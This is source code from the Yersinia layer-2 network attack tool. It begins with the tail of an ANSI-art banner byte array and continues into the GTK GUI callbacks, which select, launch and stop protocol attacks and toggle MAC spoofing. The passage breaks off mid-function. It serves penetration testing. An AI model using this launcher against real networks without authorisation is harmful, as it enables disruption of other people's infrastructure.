,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B ,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0xB2,0xB2,0xDB,0x1B ,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x36,0x6D,0xDB,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1 ,0xB1,0xB1,0xB1,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B ,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x30,0x6D,0xB2,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x31 ,0x6D,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,0x79,0x65,0x72 ,0x73,0x69,0x6E,0x69,0x61,0x2E,0x6E,0x65,0x74,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33 ,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x0D,0x0A ,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33 ,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB0,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xDB,0xB1,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1,0xB1 ,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xDB,0xDB,0xDB,0x1B,0x5B,0x35,0x3B ,0x33,0x34,0x6D,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2 ,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20,0x79 ,0x65,0x72,0x73,0x69,0x6E,0x69,0x61,0x40,0x79,0x65,0x72,0x73,0x69,0x6E,0x69 ,0x61,0x2E,0x6E,0x65,0x74,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B ,0x5B,0x33,0x37,0x6D,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43 ,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0xDB,0xB2,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xDB,0xB1,0xB1,0xB1,0x1B,0x5B ,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB1,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D ,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37 ,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0xB2,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2 ,0xB0,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1 ,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36 ,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30 ,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x33,0x34 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0xB2,0xDB,0xB2,0xB2,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36 ,0x6D,0xDB,0xDB,0xDB,0xDB,0xDB,0xB1,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xB2 ,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33 ,0x31,0x6D,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x31,0x3B ,0x33,0x34,0x6D,0x50,0x72,0x75,0x6E,0x65,0x20,0x79,0x6F,0x75,0x72,0x20,0x4D ,0x53,0x54,0x50,0x2C,0x20,0x52,0x53,0x54,0x50,0x2C,0x20,0x53,0x54,0x50,0x20 ,0x74,0x72,0x65,0x65,0x73,0x21,0x21,0x21,0x21,0x1B,0x5B,0x30,0x3B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33 ,0x34,0x6D,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xDB,0x1B,0x5B ,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB2,0xB2,0xB0,0xB0,0xB2,0xB0,0xB0 ,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x30,0x6D,0x1A}; /* end binary data. size = 2696 bytes */ #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/gtk-callbacks.c
/* gtk_callbacks.c * GTK Callbacks * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #include <gtk/gtk.h> #include "gtk-callbacks.h" #define GLADE_HOOKUP_OBJECT(component,widget,name) \ g_object_set_data_full (G_OBJECT (component), name, \ gtk_widget_ref (widget), (GDestroyNotify) gtk_widget_unref) #define GLADE_HOOKUP_OBJECT_NO_REF(component,widget,name) \ g_object_set_data (G_OBJECT (component), name, widget) void gtk_c_on_file_open_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *dialog; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; dialog = gtk_i_create_opendialog(helper); gtk_widget_show(dialog); } void gtk_c_on_file_save_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *dialog; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; dialog = gtk_i_create_savedialog(helper); gtk_widget_show(dialog); } void gtk_c_opendialog_open(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; u_int8_t i; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "opendialog"); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); if (strlen(filename)) { strncpy(tty_tmp->config_file, filename, FILENAME_MAX); if (parser_read_config_file(tty_tmp, helper->node) < 0) { gtk_i_create_warningdialog("%s", "Error reading config file"); } /* When parsing the configuration file, everything is updated in protocol[i].default_values, so * now we need to copy it to the current node */ for (i = 0; i < MAX_PROTOCOLS; i++) if (protocols[i].visible) memcpy((void *)helper->node->protocol[i].tmp_data, (void *)protocols[i].default_values, protocols[i].size); g_free(filename); } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Configuration file read"); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_savedialog_save(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; u_int8_t i; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "savedialog"); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); if (strlen(filename)) { strncpy(tty_tmp->config_file, filename, FILENAME_MAX); for (i = 0; i < MAX_PROTOCOLS; i++) if (protocols[i].visible) memcpy((void *)protocols[i].default_values, (void *)helper->node->protocol[i].tmp_data, protocols[i].size); strncpy(tty_tmp->config_file, filename, FILENAME_MAX); if (parser_write_config_file(tty_tmp) < 0) { gtk_i_create_warningdialog("%s", "Error writing config file"); } g_free(filename); } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Configuration file written"); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_on_file_quit_activate(GtkMenuItem *menuitem, gpointer user_data) { struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data; if ( helper->statusbar != NULL ) gtk_statusbar_push( GTK_STATUSBAR( helper->statusbar ), 0, "Exiting... be patient" ); gtk_main_quit(); } void gtk_c_statusbar_destroy( GtkWidget *widget, gpointer user_data ) { struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data; helper->statusbar = NULL ; } void on_protocols_proto1_activate (GtkMenuItem *menuitem, gpointer user_data) { } /* Currently disabled... void gtk_c_on_protocols_toggle(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *n_label, *notebook, *main_statusbar; u_int8_t *n_mode; n_mode = (u_int8_t *) user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); n_label = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), *n_mode); main_statusbar = lookup_widget(GTK_WIDGET(notebook), "statusbar"); if (gtk_check_menu_item_get_active(GTK_CHECK_MENU_ITEM(menuitem))) { gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "Closing protocol"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menuitem), FALSE); gtk_widget_hide(n_label); } else { gtk_statusbar_push(GTK_STATUSBAR(main_statusbar), 0, "Opening protocol"); gtk_check_menu_item_set_active (GTK_CHECK_MENU_ITEM(menuitem), TRUE); gtk_widget_show(n_label); } } */ void gtk_c_on_actions_execute_activate(GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window, *notebook; struct gtk_s_helper *helper; u_int8_t mode; helper = (struct gtk_s_helper *)user_data; notebook = lookup_widget(GTK_WIDGET(menuitem), "main_vhv2_notebook"); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(notebook)); window = gtk_i_create_attacksdialog(notebook, helper, mode); gtk_widget_show(window); } void gtk_c_on_actions_interfaces_activate (GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window; struct gtk_s_helper *helper; helper = (struct gtk_s_helper *)user_data; window = create_interfacesdialog(helper->node); gtk_widget_show(window); } void gtk_c_on_menu_actions_load_default_activate( GtkMenuItem *menuitem, gpointer user_data ) { struct gtk_s_helper *helper = (struct gtk_s_helper *) user_data ; if ( helper->mode < MAX_PROTOCOLS ) { if ( protocols[ helper->mode ].init_attribs ) (*protocols[ helper->mode ].init_attribs)( helper->node ); else write_log(0, "Warning: no init_attribs for mode %d\n", helper->mode ); gtk_statusbar_push( GTK_STATUSBAR( helper->statusbar ), 0, "Loaded protocol default values"); } } void gtk_c_on_menu_actions_list_attacks_activate (GtkMenuItem *menuitem, gpointer user_data) { GtkWidget *window; struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data; window = gtk_i_create_listattacksdialog(helper->node); gtk_widget_show(window); } void gtk_c_on_actions_clear_activate( GtkMenuItem *menuitem, gpointer user_data ) { u_int8_t i; char buffer[64]; struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data; if ( strcmp( "ALL", gtk_widget_get_name( GTK_WIDGET( menuitem ) ) ) == 0 ) helper->extra = PROTO_ALL; else { for( i = 0; i < MAX_PROTOCOLS; i++ ) { if ( strcmp( protocols[i].namep, gtk_widget_get_name( GTK_WIDGET( menuitem ) ) ) == 0 ) { helper->extra = i; break; } } } interfaces_clear_stats( helper->extra ); snprintf(buffer, 64, "Cleared stats for mode %s", gtk_widget_get_name( GTK_WIDGET( menuitem ) ) ); gtk_statusbar_push( GTK_STATUSBAR( helper->statusbar ), 0, buffer ); } void gtk_c_on_capture_activate( GtkMenuItem *menuitem, gpointer user_data ) { u_int8_t i; GtkWidget *dialog; struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data; if ( strcmp( "ALL", gtk_widget_get_name( GTK_WIDGET( menuitem ) ) ) == 0 ) helper->extra = PROTO_ALL; else { for( i = 0; i < MAX_PROTOCOLS; i++ ) { if ( strcmp( protocols[i].namep, gtk_widget_get_name( GTK_WIDGET( menuitem ) ) ) == 0 ) { helper->extra = i; break; } } } dialog = gtk_i_create_capturedialog( helper ); gtk_widget_show( dialog ); } void gtk_c_capturedialog_save(GtkWidget *button, gpointer userdata) { GtkWidget *dialog; struct gtk_s_helper *helper; char *filename; pcap_dumper_t *pdumper; dlist_t *p; struct interface_data *iface_data; helper = (struct gtk_s_helper *)userdata; dialog = lookup_widget(GTK_WIDGET(button), "savedialog"); filename = gtk_file_chooser_get_filename (GTK_FILE_CHOOSER (dialog)); if (helper->extra == PROTO_ALL) { pdumper = helper->node->pcap_file.pdumper; } else { pdumper = helper->node->protocol[helper->extra].pcap_file.pdumper; } if (pdumper) { gtk_i_create_warningdialog("%s", "Error: pcap_file is in use"); return; } /* Take the first active interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(helper->node, helper->extra, filename, iface_data->ifname) < 0) { write_log(0, "Error opening file %s to save pcap data\n", filename); gtk_gui_th_exit(helper->node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) gtk_i_create_warningdialog("%s", "Error: there is no active interface"); g_free(filename); gtk_widget_destroy(GTK_WIDGET(dialog)); } void gtk_c_attacks_synchro(GtkNotebook *attacks_notebook, GtkNotebookPage *page, guint npage, gpointer userdata) { GtkNotebook *notebook; notebook = (GtkNotebook *)userdata; gtk_notebook_set_current_page(GTK_NOTEBOOK(notebook), npage); } void gtk_c_attacks_radio_changed( GtkWidget *radio, gpointer userdata ) { u_int8_t i; struct gtk_s_helper *helper = (struct gtk_s_helper *) userdata;; if ( gtk_toggle_button_get_active( GTK_TOGGLE_BUTTON( radio ) ) ) { if ( helper->mode < MAX_PROTOCOLS ) { i = 0; while( protocols[ helper->mode ].attack_def_list[i].desc ) { if ( strcmp( gtk_button_get_label( GTK_BUTTON( radio ) ), protocols[ helper->mode ].attack_def_list[i].desc ) == 0 ) { helper->attack_def = &protocols[ helper->mode ].attack_def_list[i]; helper->row = i; break; } i++; } } } } void gtk_c_attacks_launch( GtkWidget *button, gpointer userdata ) { struct gtk_s_helper *helper; GtkWidget *attacksdialog; GtkWidget *attackparamsdialog; GTK_ATTACK_PARAMS_CONTEXT *params_ctx ; helper = (struct gtk_s_helper *)userdata; attacksdialog = lookup_widget(GTK_WIDGET(button), "attacksdialog"); if ( helper->attack_def && helper->attack_def->nparams ) { params_ctx = (GTK_ATTACK_PARAMS_CONTEXT *)malloc( sizeof( GTK_ATTACK_PARAMS_CONTEXT ) ); params_ctx->attack_status = -1 ; params_ctx->helper = helper ; params_ctx->nparams = helper->attack_def->nparams ; params_ctx->vh_entry = (GtkWidget **)calloc( params_ctx->nparams, sizeof( GtkWidget * ) ); params_ctx->params_list = (struct attack_param *)calloc( 1, ( sizeof( struct attack_param ) * params_ctx->nparams ) ); memcpy( params_ctx->params_list, (void *)(helper->attack_def->param), sizeof( struct attack_param ) * params_ctx->nparams ); if ( attack_init_params( helper->node, params_ctx->params_list, params_ctx->nparams ) < 0 ) { free( params_ctx->params_list ); free( params_ctx->vh_entry ); free( params_ctx ); return; } attackparamsdialog = gtk_i_create_attackparamsdialog( params_ctx ); gtk_widget_show( attackparamsdialog ); } else { if ( attack_launch( helper->node, helper->mode, helper->row, NULL, 0) < 0 ) write_log(0, "Error launching attack %d", helper->row); } gtk_widget_destroy( attacksdialog ); } void gtk_c_attackparams_free( gpointer userdata ) { GTK_ATTACK_PARAMS_CONTEXT *params_ctx = (GTK_ATTACK_PARAMS_CONTEXT *)userdata ; gtk_widget_destroy( GTK_WIDGET( params_ctx->dialog ) ); if ( params_ctx->attack_status == -1 ) /* Attack error */ { attack_free_params( params_ctx->params_list, params_ctx->nparams ); free( params_ctx->params_list ); } free( params_ctx->vh_entry ); free( params_ctx ); } void gtk_c_attackparams_cancel_click( GtkWidget *button, gpointer userdata ) { gtk_c_attackparams_free( userdata ); } gboolean gtk_c_attackparams_delete_event( GtkWidget *widget, GdkEvent *event, gpointer userdata ) { gtk_c_attackparams_free( userdata ); return FALSE ; } void gtk_c_attackparams_ok_click( GtkWidget *button, gpointer userdata ) { GTK_ATTACK_PARAMS_CONTEXT *params_ctx = (GTK_ATTACK_PARAMS_CONTEXT *)userdata ; char *text; u_int8_t i, field; for ( i=0; i < params_ctx->nparams; i++ ) { text = (char *)gtk_entry_get_text( GTK_ENTRY( params_ctx->vh_entry[i] ) ); strncpy( params_ctx->params_list[i].print, text, params_ctx->helper->attack_def->param[i].size_print ); } if ( attack_filter_all_params( params_ctx->params_list, params_ctx->nparams, &field ) < 0 ) { if ( params_ctx->helper->attack_def->param[field].type == FIELD_ENABLED_IFACE ) gtk_i_modaldialog( GTK_MESSAGE_ERROR, "Attack parameters", "Nonexistant or disabled network interface on field '%s'!!\n\nHave you enabled that interface?", params_ctx->helper->attack_def->param[field].desc ); else gtk_i_modaldialog( GTK_MESSAGE_ERROR, "Attack parameters", "Bad data on field '%s'!!", params_ctx->helper->attack_def->param[field].desc ); } else { params_ctx->attack_status = attack_launch( params_ctx->helper->node, params_ctx->helper->mode, params_ctx->helper->row, params_ctx->params_list, params_ctx->nparams ); if ( params_ctx->attack_status < 0 ) write_log(0, "Error launching attack %d", params_ctx->helper->row); gtk_c_attackparams_free( userdata ); } } void gtk_c_listattacks_free( gpointer userdata ) { GTK_DIALOG_ATTACK_CONTEXT *dialog_ctx = (GTK_DIALOG_ATTACK_CONTEXT *)userdata ; gtk_widget_destroy( GTK_WIDGET( dialog_ctx->dialog ) ); free( dialog_ctx->enabled_attacks_list ); free( dialog_ctx ); } void gtk_c_listattacks_stopall_click( GtkWidget *button, gpointer userdata ) { GTK_DIALOG_ATTACK_CONTEXT *dialog_ctx = (GTK_DIALOG_ATTACK_CONTEXT *)userdata ; attack_kill_th( dialog_ctx->node, ALL_ATTACK_THREADS ); gtk_c_listattacks_free( userdata ); } void gtk_c_listattacks_stop_click( GtkWidget *button, gpointer userdata ) { GTK_ATTACK_CONTEXT *gtk_attack_ctx = (GTK_ATTACK_CONTEXT *)userdata ; attack_kill_index( gtk_attack_ctx->node, gtk_attack_ctx->protocol, gtk_attack_ctx->attack ); gtk_button_set_label( GTK_BUTTON( button ), "Stopped" ); gtk_widget_set_sensitive( gtk_attack_ctx->h_box, FALSE ); } gboolean gtk_c_listattacks_delete_event( GtkWidget *widget, GdkEvent *event, gpointer userdata ) { gtk_c_listattacks_free( userdata ); return FALSE ; } void gtk_c_listattacks_quit_click( GtkWidget *button, gpointer userdata ) { gtk_c_listattacks_free( userdata ); } void gtk_c_update_hexview(GtkTreeSelection *selection, gpointer userdata) { GtkWidget *textview; GtkTextBuffer *buffer; GtkTreeIter iter; GtkTextIter iter2, start, end; GtkTreeModel *model; struct gtk_s_helper *helper; u_int8_t row, mode, *packet; u_int16_t length, oset; int32_t j; register u_int i; register int s1, s2; register int nshorts; char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp; char asciistuff[ASCII_LINELENGTH+1], *asp; char tmp_str[70]; u_int32_t maxlength = HEXDUMP_SHORTS_PER_LINE; gchar *out; j = 0; oset = 0; length = 0; packet = NULL; helper = (struct gtk_s_helper *) userdata; textview = lookup_widget(GTK_WIDGET(helper->notebook), "main_vhv2_texthex"); buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (textview)); /* First delete the buffer */ gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &start, 0); gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &end, gtk_text_buffer_get_char_count (GTK_TEXT_BUFFER (buffer))); gtk_text_buffer_delete (GTK_TEXT_BUFFER (buffer), &start, &end); /* We need to get the pointer to the packet selected in the other window */ if (gtk_tree_selection_get_selected (selection, &model, &iter)) { gtk_tree_model_get(model, &iter, 0, &row, -1); } else {/* TODO: do a proper select */ row = 0; } gtk_text_buffer_get_iter_at_offset (GTK_TEXT_BUFFER (buffer), &iter2, 0); mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(helper->notebook)); packet = protocols[mode].stats[row].packet; length = (protocols[mode].stats[row].header->len < SNAPLEN) ? protocols[mode].stats[row].header->len : SNAPLEN; nshorts = length / sizeof(u_int16_t); i = 0; hsp = hexstuff; asp = asciistuff; while (--nshorts >= 0) { s1 = *packet++; s2 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x%02x", s1, s2); hsp += HEXDUMP_HEXSTUFF_PER_SHORT; *(asp++) = (isgraph(s1) ? s1 : '.'); *(asp++) = (isgraph(s2) ? s2 : '.'); i++; if (i >= maxlength) { *hsp = *asp = '\0'; snprintf(tmp_str, 70, "0x%04x: %-*s %s\n", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); /* We need to convert to valid UTF-8; if not, it is not displayed :( */ out = g_convert(tmp_str, -1,"UTF-8","ISO8859-1",NULL,NULL,NULL); if (out == NULL) { return; /* handle error */ } gtk_text_buffer_insert(buffer, &iter2, out, -1); g_free(out); i = 0; hsp = hexstuff; asp = asciistuff; oset += HEXDUMP_BYTES_PER_LINE; j++; } } if (length & 1) { s1 = *packet++; (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff), " %02x", s1); hsp += 3; *(asp++) = (isgraph(s1) ? s1 : '.'); ++i; } if (i > 0) { *hsp = *asp = '\0'; snprintf(tmp_str, 70, "0x%04x: %-*s %s\n", oset, HEXDUMP_HEXSTUFF_PER_LINE, hexstuff, asciistuff); /* We need to convert to valid UTF-8; if not, it is not displayed :( */ out = g_convert(tmp_str, -1,"UTF-8","ISO8859-1",NULL,NULL,NULL); if (out == NULL) { return; /* handle error */ } gtk_text_buffer_insert(buffer, &iter2, out, -1); g_free(out); } } void on_menu_actions_clear_activate( GtkMenuItem *menuitem, GtkWidget *notebook ) { GtkWidget *main_statusbar; u_int8_t mode; mode = gtk_notebook_get_current_page( GTK_NOTEBOOK( notebook ) ); if ( mode < MAX_PROTOCOLS ) { main_statusbar = lookup_widget(GTK_WIDGET(notebook), "statusbar"); interfaces_clear_stats( mode ); gtk_statusbar_push( GTK_STATUSBAR( main_statusbar ), 0, "Mode stats cleared" ); } } void gtk_c_on_menu_options_edit_toggle (GtkWidget *menu, gpointer userdata) { GtkWidget *notebook, *widget, *warning; struct gtk_s_helper *helper; u_int8_t i, j; struct commands_param *param; char tmp_name[5], *text; helper = (struct gtk_s_helper *)userdata; if ( helper->mode < MAX_PROTOCOLS ) { notebook = lookup_widget(GTK_WIDGET(menu), "main_vhv2_notebook"); if (helper->edit_mode) { for(i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { param = (struct commands_param *)protocols[i].parameters; for (j = 0; j < protocols[i].nparams; j++) { if ((param[j].type != FIELD_DEFAULT) && (param[j].type != FIELD_IFACE) && (param[j].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", i, j); widget = lookup_widget(GTK_WIDGET(notebook), tmp_name); text = (char *) gtk_entry_get_text(GTK_ENTRY(widget)); if (parser_filter_param(param[j].type, helper->node->protocol[i].commands_param[j], text, param[j].size_print, param[j].size) < 0) { warning = gtk_i_create_warningdialog("Bad Parameter %s with wrong value %s in protocol %s!", param[j].ldesc, text, protocols[i].namep); gtk_widget_show(warning); //break; } gtk_entry_set_editable(GTK_ENTRY(widget), FALSE); } } } } helper->edit_mode = 0; gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Edit mode disabled"); } else { helper->edit_mode = 1; for (i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) { param = (struct commands_param *)protocols[i].parameters; for (j = 0; j < protocols[i].nparams; j++) { if ((param[j].type != FIELD_DEFAULT) && (param[j].type != FIELD_IFACE) && (param[j].type != FIELD_EXTRA)) { snprintf(tmp_name, 5, "%02d%02d", i, j); widget = lookup_widget(GTK_WIDGET(notebook), tmp_name); gtk_entry_set_editable(GTK_ENTRY(widget), TRUE); } } } } gtk_statusbar_push(GTK_STATUSBAR(helper->statusbar), 0, "Edit mode enabled"); } } } void on_menu_options_macspoofing_toggle( GtkCheckMenuItem *menu_item, gpointer user_data ) { struct gtk_s_helper *helper = (struct gtk_s_helper *)user_data ; if ( helper->node->mac_spoofing ) { helper->node->mac_spoofing = 0; gtk_statusbar_push( GTK_STATUSBAR( helper->statusbar ), 0, "MAC Spoofing set to OFF" ); } else { helper->node->mac_spoofing = 1; gtk_statusbar_push( GTK_STATUSBAR( helper->statusbar ), 0, "MAC Spoofing set to ON" ); } } void gtk_c_clock_update(GtkWidget *clock) { struct tm *aux; time_t this_time; char clock_str[10]; this_time = time(NULL); aux = localtime(&this_time); if (aux != NULL) snprintf(clock_str, 10, "%02d:%02d:%02d", aux->tm_hour, aux->tm_min, aux->tm_sec); gtk_label_set_text((GtkLabel *)clock, clock_str); } void gtk_c_tree_update( GtkWidget *tree_model ) { u_int8_t i, j; GtkTreeIter iter; GtkTreePath *path; char tmp[3]; j = 0; for( i=0; i < MAX_PROTOCOLS; i++ ) { if (protocols[i].visible) { snprintf( tmp, 3, "%d", j ); /* Modify a particular row */ path = gtk_tree_path_new_from_string( tmp ); if ( path ) { gtk_tree_model_get_iter( GTK_TREE_MODEL( tree_model ), &iter, path ); gtk_list_store_set( GTK_LIST_STORE( tree_model ), &iter, 1, protocols[i].packets, -1 ); gtk_tree_path_free( path ); } j++; } } snprintf( 